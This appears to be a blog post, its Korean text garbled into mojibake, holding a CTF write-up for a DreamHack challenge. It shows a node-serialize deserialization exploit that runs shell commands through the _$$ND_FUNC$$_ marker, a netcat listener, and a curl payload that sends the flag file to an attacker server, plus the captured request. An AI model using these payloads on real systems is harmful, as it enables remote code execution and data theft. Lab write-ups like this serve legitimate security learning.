node-serialize ์ทจ์ฝ์ ์์
var serialize = require('node-serialize');
var x = {
rce : function(){
require('child_process').exec('echo serialize exploited!', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
serialize.serialize(x);
var y = '{"username": "guest", "country": "Korea", "exec": "_$$ND_FUNC$$_function(){ require(\'child_process\').exec(\'echo unserialize exploited!\', function(error, stdout, stderr) { console.log(stdout) }); }()"}'
serialize.unserialize(y);
๊ฒฐ๊ณผ)
serialize exploited!
unserialize exploited!
serializeํ์ unserializeํ ์ทจ์ฝ์ ์ด 2๊ฐ๊ฐ ์กด์ฌํ๋ค.
์ด๋ ๋ฌธ์์ด ํํ๋ฅผ unserialize ํ๋ ๊ฒฝ์ฐ ํจ์ ํํ๋ฅผ "_$$ND_FUNC$$_function()"๋ก ์์ฑํด์ผ ํจ์ ์คํ์ด ๊ฐ๋ฅํ๋ค.
์ฐธ๊ณ :
http://news.grayhash.com/html/category/vulnerability/nodejs_vulnerability_serialization_Bug.html
The Graynews - [Vulnerability] node.js ์ทจ์ฝ์ , ์ง๋ ฌํ ๋ฒ๊ทธ
news.grayhash.com
๋๋ฆผํต ์๊ฒ์ ํ์ด
ํํธ) ๋์ ์๋ฒ๊ฐ curl ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉ ๊ฐ๋ฅํจ
Dockerfile
RUN apk --no-cache add curl
ํ์ผ ์์ ์๋ฒ ์ด๊ธฐ
index.js์๋ flag ๊ฐ์ ์ถ๋ ฅํ๋ ์์ค๊ฐ ๋ณด์ด์ง ์์ ๋ณด์ฌ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก flag ํ์ผ์ ์์ ํ๊ธฐ๋ก ๊ฒฐ์
ncat -lvp 4444 > flag.txt
๊ณต๊ฒฉ
node-serialize ๋ชจ๋์ ์ง๋ ฌํ ์ทจ์ฝ์ ์ ์ด์ฉ ๋ฐ์ดํ๋ก ๊ฐ์ผ ๋ฌธ์์ด์ _$$ND_FUNC$$_function(){/*content*/}() ์ด๋ฐ์์ผ๋ก ํจ์๋ฅผ ์์ฑํ๋ฉด ์๋ ์คํ
Exploit Code
{
"username": "guest",
"country": "Korea",
"exec": "_$$ND_FUNC$$_function(){require('child_process').exec('curl -X POST -H \"Content-Type: multipart/form-data\" -F \"file=@/app/flag\" http://๊ณต๊ฒฉ์์๋ฒ', function(error, stdout, stderr){});}()"
}
Base64๋ก ์ธ์ฝ๋ฉํ๊ณ profile ์ฟ ํค ๊ฐ์ผ๋ก ์ค์ ํ๊ณ ์๋ก๊ณ ์นจ
์์ ๋ flag ํ์ผ ํ์ธ
POST / HTTP/1.1
Host: ๊ณต๊ฒฉ์์๋ฒ
User-Agent: curl/7.83.1
Content-Length: 236
Accept: */*
Content-Type: multipart/form-data; boundary=------------------------0276c83fafa68ea3
X-Forwarded-For: 23.81.42.210
X-Forwarded-Proto: http
Accept-Encoding: gzip
--------------------------0276c83fafa68ea3
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream
FLAG{ํ๋๊ทธ_๋ด์ฉ}
--------------------------0276c83fafa68ea3--
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - basic_exploitation_001 ํ์ด (0) | 2023.04.25 |
---|---|
DreamHack - login-1 ํ์ด (0) | 2023.03.27 |
Dreamhack - ์๊ฒ์, Mango ํ์ด (0) | 2021.12.09 |
Dreamhack - ์๊ฒ์, rev-basic-2 ํ์ด (0) | 2021.12.03 |
Dreamhack - ์๊ฒ์, rev-basic-1 ํ์ด (0) | 2021.12.01 |